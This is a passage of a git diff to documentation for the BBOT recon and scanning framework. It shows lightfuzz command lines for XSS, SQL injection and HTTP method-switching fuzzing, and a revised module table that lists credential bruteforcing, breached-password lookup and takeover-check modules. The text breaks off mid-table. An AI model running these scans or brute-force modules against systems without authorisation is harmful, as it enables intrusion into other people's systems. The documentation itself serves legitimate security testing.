targets.txt -c modules.lightfuzz.enabled_submodules=[xss] --allow-deadly +bbot -p lightfuzz -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss] ``` XSS and SQLi: ``` -bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss,sqli] --allow-deadly +bbot -p lightfuzz -t targets.txt -c modules.lightfuzz.enabled_submodules=[xss,sqli] ``` ## HTTP Method Switching @@ -282,5 +278,5 @@ This is useful because web frameworks often accept parameters from multiple sour Enable via config: ``` -bbot -p lightfuzz-medium -t targets.txt -c modules.lightfuzz.try_post_as_get=true modules.lightfuzz.try_get_as_post=true --allow-deadly +bbot -p lightfuzz -t targets.txt -c modules.lightfuzz.try_post_as_get=true modules.lightfuzz.try_get_as_post=true ``` diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 54537935c1..2cc339b4d9 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -1,159 +1,158 @@ # List of Modules -| Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | Author | Created Date | -|-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------| -| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, safe, web-thorough | HTTP_RESPONSE, URL | FINDING, TECHNOLOGY | @liquidsec | 2024-01-18 | -| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, safe, web-thorough | URL | FINDING | @liquidsec | 2025-01-28 | -| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, safe, subdomain-hijack, web-basic | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING | @liquidsec | 2024-01-18 | -| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, safe, subdomain-enum | STORAGE_BUCKET, URL | FINDING | @liquidsec | 2024-01-29 | -| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, safe, subdomain-enum | DNS_NAME | FINDING | @liquidsec | 2024-01-29 | -| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, safe, web-basic | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2022-11-19 | -| bucket_amazon | scan | No | Check for S3 buckets related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | -| bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, safe, slow, web-thorough | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | -| bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | -| bucket_google | scan | No | Check for Google object storage related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | -| bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, safe, web-basic | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | -| bypass403 | scan | No | Check 403 pages for common bypasses | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-07-05 | -| dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, aggressive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | -| dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, aggressive, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | -| dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | -| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | -| ffuf | scan | No | A fast web fuzzer written in Go | active, aggressive, deadly | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | -| ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, aggressive, iis-shortnames, web-thorough | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | -| filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web-basic | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | -| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | -| generic_ssrf | scan | No | Check for generic SSRFs | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-07-30 | -| git | scan | No | Check for exposed .git repositories | active, code-enum, safe, web-basic | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | -| gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum, safe | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | -| gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum, safe | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | -| gowitness | scan | No | Take screenshots of webpages | active, safe, web-screenshots | SOCIAL, URL | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT | @TheTechromancer | 2022-07-08 | -| graphql_introspection | scan | No | Perform GraphQL introspection on a target | active, safe, web-basic | URL | FINDING | @mukesh-dream11 | 2025-07-01 | -| host_header | scan | No | Try common HTTP Host header spoofing techniques | active, aggressive, web-thorough | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | -| httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, safe, social-enum, subdomain-enum, web-basic | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | -| hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-thorough | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | -| iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, safe, web-basic | URL | URL_HINT | @liquidsec | 2022-04-15 | -| legba | scan | No | Credential bruteforcing supporting various services. | active, aggressive, deadly | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, aggressive, deadly, web-thorough | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | -| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, aggressive, deadly | PROTOCOL | FINDING | @christianfl | 2025-05-16 | -| newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active, safe | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | -| ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, safe, web-basic | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | -| nuclei | scan | No | Fast and customisable vulnerability scanner | active, aggressive, deadly | URL | FINDING, TECHNOLOGY | @TheTechromancer | 2022-03-12 | -| oauth | scan | No | Enumerate OAUTH and OpenID Connect services | active, affiliates, cloud-enum, safe, subdomain-enum, web-basic | DNS_NAME, URL_UNVERIFIED | DNS_NAME | @TheTechromancer | 2023-07-12 | -| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | -| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | -| paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, aggressive, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | -| portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan, safe | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | -| reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, safe, web-thorough | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | -| retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, safe, web-thorough | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | -| robots | scan | No | Look for and parse robots.txt | active, safe, web-basic | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | -| securitytxt | scan | No | Check for security.txt content | active, cloud-enum, safe, subdomain-enum, web-basic | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| smuggler | scan | No | Check for HTTP smuggling | active, aggressive, slow, web-thorough | URL | FINDING | @liquidsec | 2022-07-06 | -| sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, safe, subdomain-enum, web-basic | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | -| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, aggressive, web-thorough | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | -| url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, aggressive, web-thorough | URL | FINDING | @liquidsec | 2022-09-27 | -| vhost | scan | No | Fuzz for virtual hosts | active, aggressive, deadly, slow | URL | DNS_NAME, VHOST | @liquidsec | 2022-05-02 | -| wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, aggressive | URL | WAF | @liquidsec | 2023-02-15 | -| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, aggressive | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | -| affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | -| anubisdb | scan | No | Query jldc.me's database for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | -| apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | -| asn | scan | No | Query ripe and bgpview.io for ASNs | passive, safe, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | -| azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, safe, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | -| bevigil | scan | Yes | Retrieve OSINT data from mobile applications using BeVigil | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @alt-glitch | 2022-10-26 | -| bucket_file_enum | scan | No | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive, safe | STORAGE_BUCKET | URL_UNVERIFIED | @TheTechromancer | 2023-11-14 | -| bufferoverrun | scan | Yes | Query BufferOverrun's TLS API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-10-23 | -| builtwith | scan | Yes | Query Builtwith.com for subdomains | affiliates, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-23 | -| c99 | scan | Yes | Query the C99 API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | -| censys_dns | scan | Yes | Query the Censys API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-04 | -| censys_ip | scan | Yes | Query the Censys API for hosts by IP address | passive, safe | IP_ADDRESS | DNS_NAME, IP_ADDRESS, OPEN_TCP_PORT, OPEN_UDP_PORT, PROTOCOL, TECHNOLOGY, URL_UNVERIFIED | @TheTechromancer | 2026-01-26 | -| certspotter | scan | No | Query Certspotter's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | -| chaos | scan | Yes | Query ProjectDiscovery's Chaos API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-14 | -| code_repository | scan | No | Look for code repository links in webpages | code-enum, passive, safe | URL_UNVERIFIED | CODE_REPOSITORY | @domwhewell-sage | 2024-05-15 | -| credshed | scan | Yes | Send queries to your own credshed server to check for known credentials of your targets | passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | -| crt | scan | No | Query crt.sh (certificate transparency) for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-13 | -| crt_db | scan | No | Query crt.sh (certificate transparency) for subdomains via PostgreSQL | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2025-03-27 | -| dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | -| digitorus | scan | No | Query certificatedetails.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-25 | -| dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, safe, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | -| dnscaa | scan | No | Check for CAA records | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | -| dnstlsrpt | scan | No | Check for TLS-RPT records | cloud-enum, email-enum, passive, safe, subdomain-enum | DNS_NAME | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-07-26 | -| docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | -| dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive, safe | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | -| emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| git_clone | scan | No | Clone code github repositories | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | -| gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | -| github_codesearch | scan | Yes | Query Github's API for code containing the target domain name | code-enum, passive, safe, subdomain-enum | DNS_NAME | CODE_REPOSITORY, URL_UNVERIFIED | @domwhewell-sage | 2023-12-14 | -| github_org | scan | No | Query Github's API for organization and member repositories | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2023-12-14 | -| github_usersearch | scan | Yes | Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization. | code-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, SOCIAL | @domwhewell-sage | 2025-05-10 | -| github_workflows | scan | Yes | Download a github repositories workflow logs and workflow artifacts | code-enum, download, passive, safe | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-04-29 | -| google_playstore | scan | No | Search for android applications on play.google.com | code-enum, passive, safe | CODE_REPOSITORY, ORG_STUB | MOBILE_APP | @domwhewell-sage | 2024-10-08 | -| hackertarget | scan | No | Query the hackertarget.com API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | -| hunterio | scan | Yes | Query hunter.io for emails | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @TheTechromancer | 2022-04-25 | -| ip2location | scan | Yes | Query IP2location.io's API for geolocation information. | passive, safe | IP_ADDRESS | GEOLOCATION | @TheTechromancer | 2023-09-12 | -| ipneighbor | scan | No | Look beside IPs in their surrounding subnet | aggressive, passive, subdomain-enum | IP_ADDRESS | IP_ADDRESS | @TheTechromancer | 2022-06-08 | -| ipstack | scan | Yes | Query IPStack's GeoIP API | passive, safe | IP_ADDRESS | GEOLOCATION | @tycoonslive | 2022-11-26 | -| jadx | scan | No | Decompile APKs and XAPKs using JADX | code-enum, passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-11-04 | -| kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | -| leakix | scan | No | Query leakix.net for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | -| myssl | scan | No | Query myssl.com's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | -| otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| passivetotal | scan | Yes | Query the PassiveTotal API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-08 | -| pgp | scan | No | Query common PGP servers for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-08-10 | -| portfilter | scan | No | Filter out unwanted open ports from cloud/CDN targets | passive, safe | OPEN_TCP_PORT, URL, URL_UNVERIFIED | | @TheTechromancer | 2025-01-06 | -| postman | scan | No | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | -| postman_download | scan | No | Download workspaces, collections, requests from Postman | code-enum, download, passive, safe, subdomain-enum | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-09-07 | -| rapiddns | scan | No | Query rapiddns.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | -| shodan_dns | scan | Yes | Query Shodan for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | -| shodan_enterprise | scan | Yes | Shodan Enterprise API integration module. | passive, safe | IP_ADDRESS | ASN, FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY | @Control-Punk-Delete | 2026-01-27 | -| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | -| sitedossier | scan | No | Query sitedossier.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | -| skymem | scan | No | Query skymem.info for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| social | scan | No | Look for social media links in webpages | passive, safe, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | -| subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | -| subdomainradar | scan | Yes | Query the Subdomain API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | -| trickest | scan | Yes | Query Trickest's API for subdomains | affiliates, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @amiremami | 2024-07-27 | -| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive, safe | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING | @domwhewell-sage | 2024-03-12 | -| urlscan | scan | No | Query urlscan.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | -| viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive, safe | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | -| virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | -| wayback | scan | No | Query archive.org's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | -| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | -| csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | -| discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | -| elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | -| emails | output | No | Output any email addresses found belonging to the target domain | email-enum | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | -| http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | -| json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | -| kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | -| mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | -| mysql | output | No | Output scan data to a MySQL database | | * | | @TheTechromancer | 2024-11-13 | -| nats | output | No | Output scan data to a NATS subject | | * | | @TheTechromancer | 2024-11-22 | -| neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | -| nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | -| postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | -| python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | -| rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | -| slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | -| splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | -| sqlite | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-07 | -| stdout | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | -| subdomains | output | No | Output only resolved, in-scope subdomains | subdomain-enum | DNS_NAME, DNS_NAME_UNRESOLVED | | @TheTechromancer | 2023-07-31 | -| teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | -| txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | -| web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | -| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | -| websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | -| zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | -| cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | -| dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | -| aggregate | internal | No | Summarize statistics at the end of a scan | passive, safe | | | @TheTechromancer | 2022-07-25 | -| excavate | internal | No | Passively extract juicy tidbits from scan data | passive | HTTP_RESPONSE, RAW_TEXT | URL_UNVERIFIED, WEB_PARAMETER | @liquidsec | 2022-06-27 | -| speculate | internal | No | Derive certain event types from others by common sense | passive | AZURE_TENANT, DNS_NAME, DNS_NAME_UNRESOLVED, HTTP_RESPONSE, IP_ADDRESS, IP_RANGE, SOCIAL, STORAGE_BUCKET, URL, URL_UNVERIFIED, USERNAME | DNS_NAME, FINDING, IP_ADDRESS, OPEN_TCP_PORT, ORG_STUB | @liquidsec | 2022-05-03 | -| unarchive | internal | No | Extract different types of files into folders on the filesystem | passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-12-08 | +| Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | Author | Created Date | +|-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------| +| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, web-heavy | HTTP_RESPONSE, URL | FINDING, TECHNOLOGY | @liquidsec | 2024-01-18 | +| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, web-heavy | URL | FINDING | @liquidsec | 2025-01-28 | +| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, subdomain-hijack, web | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING | @liquidsec | 2024-01-18 | +| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, subdomain-enum | STORAGE_BUCKET, URL | FINDING | @liquidsec | 2024-01-29 | +| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, subdomain-enum | DNS_NAME | FINDING | @liquidsec | 2024-01-29 | +| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, web | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2022-11-19 | +| bucket_amazon | scan | No | Check for S3 buckets related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | +| bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | +| bucket_google | scan | No | Check for Google object storage related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bypass403 | scan | No | Check 403 pages for common bypasses | active, noisy, web-heavy | URL | FINDING | @liquidsec | 2022-07-05 | +| dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, noisy, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | +| dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, noisy, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | +| dnscommonsrv | scan | No | Check for common SRV records | active, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | +| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, invasive, noisy, web-heavy | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | +| ffuf | scan | No | A fast web fuzzer written in Go | active, noisy | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | +| ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, iis-shortnames, noisy, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | +| filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, web | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | +| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | +| git | scan | No | Check for exposed .git repositories | active, code-enum, web | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | +| 